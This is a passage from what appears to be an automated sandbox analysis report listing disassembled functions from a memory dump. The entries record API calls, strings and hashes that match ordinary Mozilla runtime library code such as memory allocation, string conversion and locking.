ntdll.dll, xrefs: 6C63C413

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 70f9934701895da25a316816408451823ec6fff29e62c3f8361709e3774c90b1
Instruction ID: b5787da28db8daff1a76c1870b7165bc33c1f46491ca1c9b881f45f0507faebc
Opcode Fuzzy Hash: 70f9934701895da25a316816408451823ec6fff29e62c3f8361709e3774c90b1
Instruction Fuzzy Hash: 56E0BF70702311ABDF00FF73D9887157BF8B746344FB49115AA0592711DBB2D0158B5E

Function 6C6375B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C63748B,?), ref: 6C6375B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C6375D7
FreeLibrary.KERNEL32(?,6C63748B,?), ref: 6C6375EC

Strings

RtlNtStatusToDosError, xrefs: 6C6375D1
ntdll.dll, xrefs: 6C6375B3

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 417ec3450ed385c2e0222ae667c21a7d06b50f2709a9b34af3afbc9efcb3060d
Instruction ID: c84e2882012b6107b0a408c293292c8ce0eefae6b84fd48a965dde12b1dd6ea7
Opcode Fuzzy Hash: 417ec3450ed385c2e0222ae667c21a7d06b50f2709a9b34af3afbc9efcb3060d
Instruction Fuzzy Hash: AAE09271700301AFEB00EFA3E9C87027AF8EB46358FB46025AA05D1690EBB090528F1E

Function 6C637600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C637592), ref: 6C637608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C637627
FreeLibrary.KERNEL32(?,6C637592), ref: 6C63763C

Strings

NtUnmapViewOfSection, xrefs: 6C637621
ntdll.dll, xrefs: 6C637603

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: bc880372e67fefc427d69df5a3e569c2c6b607ba5c63374015480659250bf6f1
Instruction ID: 732c40ee2e6c1f7fda7bd7a03ccbd1042890e96ad5a08d570ed886e47afe4fc2
Opcode Fuzzy Hash: bc880372e67fefc427d69df5a3e569c2c6b607ba5c63374015480659250bf6f1
Instruction Fuzzy Hash: 59E07EB0700301AFDF00AFA7AD987017AB8E75A399FB45515EA09D2650EBB190118F1E

Function 6C63BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C63BE49), ref: 6C63BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C63BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C63BE49), ref: 6C63BF38
RtlReAllocateHeap.NTDLL ref: 6C63BF83
RtlFreeHeap.NTDLL(6C63BE49,00000000), ref: 6C63BFA6

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: ad34ddab6004f5b806a5ceabec706b5f8343b64fc2c90cadb5f8071641e7e504
Instruction ID: 597000c965e36422c5b071eb85c8b3ed2a1dcf72da6ad7c412a8b4fa33502e5f
Opcode Fuzzy Hash: ad34ddab6004f5b806a5ceabec706b5f8343b64fc2c90cadb5f8071641e7e504
Instruction Fuzzy Hash: 1D519371A006258FE710CF69CD80BAAB3A2FFC5314F29A63DD51A97B54D730F9068B84

Function 6C628E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C61B58D,?,?,?,?,?,?,?,6C64D734,?,?,?,6C64D734), ref: 6C628E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C61B58D,?,?,?,?,?,?,?,6C64D734,?,?,?,6C64D734), ref: 6C628EBF
free.MOZGLUE(?,?,?,?,6C61B58D,?,?,?,?,?,?,?,6C64D734,?,?,?), ref: 6C628F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C61B58D,?,?,?,?,?,?,?,6C64D734,?,?,?,6C64D734), ref: 6C628F46
free.MOZGLUE(?,?,?,?,6C61B58D,?,?,?,?,?,?,?,6C64D734,?,?,?), ref: 6C628F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C61B58D,?,?,?,?,?,?,?,6C64D734,?,?,?), ref: 6C628F8F

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: fd69fd3a6c9a0448949fda8cc24dc571f3960b15fb4cbdf40e564f48b04f52c5
Instruction ID: b4b6c552d96cfe9a8afea89018f97498c90438c2c82ac7fb278df842663abc02
Opcode Fuzzy Hash: fd69fd3a6c9a0448949fda8cc24dc571f3960b15fb4cbdf40e564f48b04f52c5
Instruction Fuzzy Hash: A651C3B2A012168FEB24CF54DC807AE77B2BF48358F25042AD516AB750E735F905CF96

Function 6C5D4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C5D4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C5D4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5D4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C5D4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C5D4F1E

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 9f1397695a00a6588509fa6837239552ae9d3cc932007e9596396b654866f172
Instruction ID: 3b9be1349fa4cc35e70f166262f08991ce4e116c9b18e0429c1677d518af90aa
Opcode Fuzzy Hash: 9f1397695a00a6588509fa6837239552ae9d3cc932007e9596396b654866f172
Instruction Fuzzy Hash: 7A41AA71608702AFC705CF29C88095BBBE4FF89344F118A2DE5A697751DB30E958CB96

Function 6C5E1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C5E152B,?,?,?,?,6C5E1248,?), ref: 6C5E159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C5E152B,?,?,?,?,6C5E1248,?), ref: 6C5E15BC
moz_xmalloc.MOZGLUE(-00000001,?,6C5E152B,?,?,?,?,6C5E1248,?), ref: 6C5E15E7
free.MOZGLUE(?,?,?,?,?,?,6C5E152B,?,?,?,?,6C5E1248,?), ref: 6C5E1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C5E152B,?,?,?,?,6C5E1248,?), ref: 6C5E1637

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 9abf812ad9e700267ca87e6f89cb861409f25deb5fe180aaea118ee7e18acef5
Instruction ID: 9327efc8962e44238542fceba6865303f681ca388bc4bec7196521564674d6f3
Opcode Fuzzy Hash: 9abf812ad9e700267ca87e6f89cb861409f25deb5fe180aaea118ee7e18acef5
Instruction Fuzzy Hash: B931C7B2A001148BCB18CF78DC5046F77A9AB893647250B2DE427DBBD6EB30D9058795

Function 6C63AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C64E330,?,6C5FC059), ref: 6C63AD9D

Part of subcall function 6C5ECA10: malloc.MOZGLUE(?), ref: 6C5ECA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C64E330,?,6C5FC059), ref: 6C63ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C64E330,?,6C5FC059), ref: 6C63AE01
GetLastError.KERNEL32(?,00000000,?,?,6C64E330,?,6C5FC059), ref: 6C63AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C64E330,?,6C5FC059), ref: 6C63AE3D

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: bc231b7c49239a1162591f09406ff46b260bfc212b4fe37868ff71e1a05d6547
Instruction ID: 30de6af62aceb5e96d6b581c89fa9e4f16cf3bea232609c2ca3026da4307613c
Opcode Fuzzy Hash: bc231b7c49239a1162591f09406ff46b260bfc212b4fe37868ff71e1a05d6547
Instruction Fuzzy Hash: 253184B1A003159FDB14DF768C44AABBBF8EF49610F54842DE84AD7740E734D805CBA8

Function 6C635EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C64DCA0,?,?,?,6C60E8B5,00000000), ref: 6C635F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C60E8B5,00000000), ref: 6C635F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C60E8B5,00000000), ref: 6C635F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C60E8B5,00000000), ref: 6C635F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C60E8B5,00000000), ref: 6C635FD6

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 61b9565a816cbf1d3e93b74dd98c693289398de92cbe0e2c7bc6a38d9d953c68
Instruction ID: be0e4d8d07f4fcef47777d896f9c743a6b6d0e73098badb499ab78fe8daec915
Opcode Fuzzy Hash: 61b9565a816cbf1d3e93b74dd98c693289398de92cbe0e2c7bc6a38d9d953c68
Instruction Fuzzy Hash: 3531E9343006108FD714CF2AC8D8A6AB7F5BF89319FA49668E55A8B795C731EC41CF85

Function 6C5DB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C5DB532
moz_xmalloc.MOZGLUE(?), ref: 6C5DB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5DB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C5DB57E
free.MOZGLUE(00000000), ref: 6C5DB58F

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 86563af1116feb6b3283440b9d960132e20edea544c4a51107a3ac5cb516f4e2
Instruction ID: 15607d0a5452e4e6b1ca4ccc47db52fba61cffff37c3bb29810be99ea2da0d8b
Opcode Fuzzy Hash: 86563af1116feb6b3283440b9d960132e20edea544c4a51107a3ac5cb516f4e2
Instruction Fuzzy Hash: 9821F871A00205DBDB00DF69CC80B6ABBBAFF86304F694129E914DB342F775E911C7A5

Function 6C636E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C636E78

Part of subcall function 6C636A10: InitializeCriticalSection.KERNEL32(6C65F618), ref: 6C636A68
Part of subcall function 6C636A10: GetCurrentProcess.KERNEL32 ref: 6C636A7D
Part of subcall function 6C636A10: GetCurrentProcess.KERNEL32 ref: 6C636AA1
Part of subcall function 6C636A10: EnterCriticalSection.KERNEL32(6C65F618), ref: 6C636AAE
Part of subcall function 6C636A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C636AE1
Part of subcall function 6C636A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C636B15
Part of subcall function 6C636A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C636B65
Part of subcall function 6C636A10: LeaveCriticalSection.KERNEL32(6C65F618,?,?), ref: 6C636B83

MozFormatCodeAddress.MOZGLUE ref: 6C636EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C636EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C636EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C636EFF

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 58eda8d4a6d36c1341a1c0d6d6925a4449ac5631d69de7a1522861abcd40a728
Instruction ID: 550383b057776b2747030bb2c0bd34425953669ee1087aebac6f082393df34b5
Opcode Fuzzy Hash: 58eda8d4a6d36c1341a1c0d6d6925a4449ac5631d69de7a1522861abcd40a728
Instruction Fuzzy Hash: 5821B0B1A0421A8FCB04CF29D8C469E77F5FF84308F044039E80D97240EB709A588F96

Function 6C610D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C5D3DEF), ref: 6C610D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C5D3DEF), ref: 6C610D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C5D3DEF), ref: 6C610DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C610D97, 6C610DBE
<jemalloc>, xrefs: 6C610D92, 6C610DB9

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 8f4e922717177fc2f278fad4d047697dd5f1e26a9985597214cf97db2bfccdb2
Instruction ID: 763da2434c194be4bca5f9fc2ebd09151a5612a3019fc0aab0d7d506f942b203
Opcode Fuzzy Hash: 8f4e922717177fc2f278fad4d047697dd5f1e26a9985597214cf97db2bfccdb2
Instruction Fuzzy Hash: 78F0E97179829423EE20196E0C0ABAA269D6BC2B27F704036F204DADC0DA90E43086AD

Function 6C627620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C6275C4,?), ref: 6C62762B

Part of subcall function 6C5ECA10: malloc.MOZGLUE(?), ref: 6C5ECA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C6274D7,6C6315FC,?,?,?), ref: 6C627644
GetCurrentThreadId.KERNEL32 ref: 6C62765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6274D7,6C6315FC,?,?,?), ref: 6C627663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6274D7,6C6315FC,?,?,?), ref: 6C627677

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: e6cad1ab39c8727f88d0a278cd4ebc1869b78a2e30daeb1d1bef5a0156ad310d
Instruction ID: c07fdd471a13732dc1113f1b20b0c689b3327fa53add153fb563e5a418e3897e
Opcode Fuzzy Hash: e6cad1ab39c8727f88d0a278cd4ebc1869b78a2e30daeb1d1bef5a0156ad310d
Instruction Fuzzy Hash: 85F0C271E10746ABD700CF22C888676B778FFEA299F614316F94453601E7B0A5D18BD0

Function 6C5FD468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C60CBE8: GetCurrentProcess.KERNEL32(?,6C5D31A7), ref: 6C60CBF1
Part of subcall function 6C60CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5D31A7), ref: 6C60CBFA

EnterCriticalSection.KERNEL32(6C65E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C60D1C5), ref: 6C5FD4F2
LeaveCriticalSection.KERNEL32(6C65E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C60D1C5), ref: 6C5FD50B

Part of subcall function 6C5DCFE0: EnterCriticalSection.KERNEL32(6C65E784), ref: 6C5DCFF6
Part of subcall function 6C5DCFE0: LeaveCriticalSection.KERNEL32(6C65E784), ref: 6C5DD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C60D1C5), ref: 6C5FD52E
EnterCriticalSection.KERNEL32(6C65E7DC), ref: 6C5FD690
LeaveCriticalSection.KERNEL32(6C65E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C60D1C5), ref: 6C5FD751

Strings

MOZ_CRASH(), xrefs: 6C5FD4BB

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 2924f6e8314fd762110f2708798a467385a2584eceb2417cd27d399bfe341261
Instruction ID: bb9d73a9f5ce42c2c1bec6dfa7da42789ba3ae8b31b6a4cfc8177324bddf2e34
Opcode Fuzzy Hash: 2924f6e8314fd762110f2708798a467385a2584eceb2417cd27d399bfe341261
Instruction Fuzzy Hash: 9651E171A047018FD768CF29C59071AB7F1EB8A704FA4492ED5AAC7B84E770E801CF96

Function 6C624630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C624721

Strings

profiler-paused, xrefs: 6C6246E4
-%llu, xrefs: 6C624733
., xrefs: 6C62476A

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: a380b5ca0ac3c89d96ed87a1a1d55adf1a7511f064edb2a8a4a08a659a56eabd
Instruction ID: e560683bab749a39a599dd596f9cd6e6aba1d41dd33dd746c28dac418b1c20c3
Opcode Fuzzy Hash: a380b5ca0ac3c89d96ed87a1a1d55adf1a7511f064edb2a8a4a08a659a56eabd
Instruction Fuzzy Hash: 2C417631F047089BCB08DF39D88116EBBE5EF86748F10C63DE855AB781EB7498008B4A

Function 6C6246E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C624721

Part of subcall function 6C5D4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C613EBD,00000017,?,00000000,?,6C613EBD,?,?,6C5D42D2), ref: 6C5D4444

Strings

profiler-paused, xrefs: 6C6246E4
-%llu, xrefs: 6C624733
., xrefs: 6C62476A

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
